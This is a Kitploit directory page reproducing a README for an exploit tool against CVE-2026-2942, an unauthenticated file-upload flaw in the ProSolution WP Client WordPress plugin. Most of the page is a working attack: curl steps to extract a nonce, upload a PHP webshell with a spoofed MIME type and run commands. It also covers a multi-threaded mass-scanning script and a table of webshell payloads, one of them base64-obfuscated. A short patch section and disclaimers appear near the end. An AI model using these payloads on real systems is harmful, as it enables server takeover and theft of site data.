Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-2942 — Automated scanner for unauthenticated arbitrary file upload and remote code execution in ProSolution WP Client (CVE-2026-2942). Supports multi-threaded scanning, MIME spoofing, shell verification, and proxy support for penetration testing. | Kitploit
Tools/GitHubGitHub/xxconi/cve-2026-2942
Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubxxconi/cve-2026-2942

CVE-2026-2942

Automated scanner for unauthenticated arbitrary file upload and remote code execution in ProSolution WP Client (CVE-2026-2942). Supports multi-threaded scanning, MIME spoofing, shell verification, and proxy support for penetration testing.

View Repository
13 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

ProSolution WP Client — Unauthenticated File Upload & RCE Scanner

Plugin: prosolution-wp-client
Affected Version: <= 1.9.9
Vulnerability Type: Unauthenticated Arbitrary File Upload → Remote Code Execution
Risk Level: 🔴 Critical (CVSS 9.8)
Requirement: Public page containing [prosolfrontend] shortcode


📌 About the Vulnerability

The proSol_fileUploadProcess AJAX action of the ProSolution WP Client plugin checks the MIME type of uploaded files but does not validate the extension. An attacker can send a file with a .php extension using the image/jpeg MIME type to upload a webshell to the server without authentication.

Attack Chain

root@kitploit:~
[prosolfrontend] shortcode page
        │
        ▼
1. prosolObj.nonce → extracted from public page (no authentication required)
        │
        ▼
2. POST /wp-admin/admin-ajax.php
   action=proSol_fileUploadProcess
   security=<nonce>
   files[]=shell.php  (Content-Type: image/jpeg)  ← MIME Spoofing
        │
        ▼
3. Saved as /wp-content/uploads/prosolwpclient/[random].php
        │
        ▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
        │
        ▼
5. uid=33(www-data) → Unauthenticated RCE ✓

🧪 Proof of Concept (Manual)

⚠️ Disclaimer: This PoC is provided for educational and defensive security research purposes only. Only use against systems you own or have explicit written authorization to test.

Prerequisites

  • WordPress installed and prosolution-wp-client plugin active (version <= 1.9.9)
  • A published WordPress page containing the [prosolfrontend] shortcode

Step 1 — Extract Nonce

Visit any public page containing the [prosolfrontend] shortcode and extract the prosolObj.nonce value from the source code:

root@kitploit:~
TARGET="https://target.example.com"

NONCE=$(curl -s "$TARGET/jobs" \
  | grep -oP '"nonce"\s*:\s*"\K[^"]+')

echo "Extracted nonce: $NONCE"

Structure to search for in the source code:

root@kitploit:~
<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
    "ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
    "nonce": "a1b2c3d4e5",
    ...
};
</script>

Step 2 — Create a PHP Webshell

root@kitploit:~
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php

Step 3 — Upload with MIME Spoofing

Send the .php file with image/jpeg Content-Type:

root@kitploit:~
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -F "action=proSol_fileUploadProcess" \
  -F "security=$NONCE" \
  -F "files[]=@/tmp/shell.php;type=image/jpeg" \
  | python3 -m json.tool

Expected response:

root@kitploit:~
{
  "files": [
    {
      "name": "shell.php",
      "size": 31,
      "url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
      "newfilename": "a3f8b2c1d9e4f7g2.php",
      "rename_status": true,
      "extension": "php"
    }
  ]
}

"extension": "php" and "rename_status": true → .php file was successfully saved.


Step 4 — Trigger RCE

root@kitploit:~
SHELL_FILE="a3f8b2c1d9e4f7g2.php"   # newfilename from Step 3

curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"

Expected output:

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)

✅ Unauthenticated RCE achieved.


🛠️ Automated Scanner Setup

root@kitploit:~
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Usage

Single Target

root@kitploit:~
python prosol_upload.py -u http://target.com

With Shell Verification

root@kitploit:~
python prosol_upload.py -u http://target.com --verify --verify-cmd "whoami"

Batch Scan

root@kitploit:~
python prosol_upload.py -l targets.txt -t 20 -o results.txt

With Proxy (Burp Suite)

root@kitploit:~
python prosol_upload.py -u http://target.com --proxy http://127.0.0.1:8080

Custom Shell Type

root@kitploit:~
python prosol_upload.py -u http://target.com --shell-type full

⚙️ Parameters

ParameterShortDescriptionDefault
--url-uSingle target URL—
--list-lTarget list file—
--threads-tNumber of threads10
--output-oOutput fileuploaded.txt
--shell-name—File name to uploadshell.php
--shell-type—Shell typesystem
--verify—RCE test after uploadFalse
--verify-cmd—Verification commandid
--proxy—Proxy URL—
--timeout—Request timeout (seconds)10

💀 Shell Types

TypePayloadDescription
system<?php system($_GET["cmd"]); ?>Basic system command
passthru<?php passthru($_GET["cmd"]); ?>Raw output
exec<?php echo exec($_GET["cmd"]); ?>Silent execution
assert<?php assert($_POST["cmd"]); ?>POST eval
b64<?php eval(base64_decode($_POST["cmd"])); ?>Base64 obfuscation
fullshell_exec + system + exec fallbackFull-featured shell

📂 Shell Upload Location

root@kitploit:~
WordPress Root/
└── wp-content/
    └── uploads/
        └── prosolwpclient/
            └── [random_hex].php   ← Shell here

📊 Scanner Output Statuses

StatusDescription
★ UPLOADEDShell successfully uploaded
✓ RCE OKShell verified, command executed
- BLOCKEDServer blocked PHP extension
~ TIMEOUTConnection timeout
~ CONN_ERRConnection error
! HTTP_ERRHTTP error code

🖥️ Example Scanner Output

root@kitploit:~
[*] 3 targets | ProSolution File Upload | threads=10

[★ UPLOADED ] http://target1.com
  Shell URL : http://target1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
  New Name  : a3f8b2c1d9.php  (renamed=True)
  [✓ RCE OK ] cmd output: uid=33(www-data) gid=33(www-data)

[- BLOCKED  ] http://target2.com  ext=jpeg
[~ TIMEOUT  ] http://target3.com

───────────────────────────────────────────────
  UPLOADED            :    1  █
  BLOCKED             :    1  █
  TIMEOUT             :    1  █
───────────────────────────────────────────────
  Uploaded shells → uploaded.txt
───────────────────────────────────────────────

🛡️ Defense / Patch

MeasureImplementation
Block PHP executionAdd .htaccess to uploads/ directory
Plugin updateUpgrade to version > 1.9.9 or remove it
Extension whitelistAllow only permitted extensions server-side
MIME validationUse finfo_file() to check actual content
WAF ruleBlock .php upload requests

.htaccess for the uploads/ directory:

root@kitploit:~
<FilesMatch "\.php$">
    Deny from all
</FilesMatch>

⚠️ Legal Disclaimer

This tool and PoC are prepared solely for use on authorized systems, for educational purposes, and within the scope of penetration testing.
Unauthorized use on systems you do not own is considered a crime under the Turkish Penal Code Articles 243-245 and international cybercrime laws.
The developer accepts no legal liability arising from the misuse of this tool.


📄 License

MIT License — For educational and research purposes only.

Download Tool